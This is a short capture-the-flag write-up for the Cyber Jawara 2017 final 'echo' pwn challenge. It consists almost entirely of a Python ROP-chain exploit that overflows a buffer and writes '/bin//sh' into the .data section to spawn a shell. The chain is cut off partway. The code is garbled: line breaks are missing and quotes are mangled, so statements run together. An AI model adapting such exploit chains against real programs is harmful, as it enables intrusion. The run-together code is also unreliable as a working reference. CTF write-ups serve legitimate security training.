Cyber Jawara 2017 - Write Up

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Cyber Jawara 2017 Final - echo (pwn 200)

fromstruct importpack

Padding goes herep ='A’*10008p +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .datap +=pack(’<Q’, 0x0000000000479ce6) # pop rax ; pop rdx ; pop rbx ; retp +=’/bin//sh’p +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb088) # @ .data + 8p +=pack(’<Q’, 0x000000000042695f) # xor rax, rax ; retp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x00000000004005d5) # pop rdi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .

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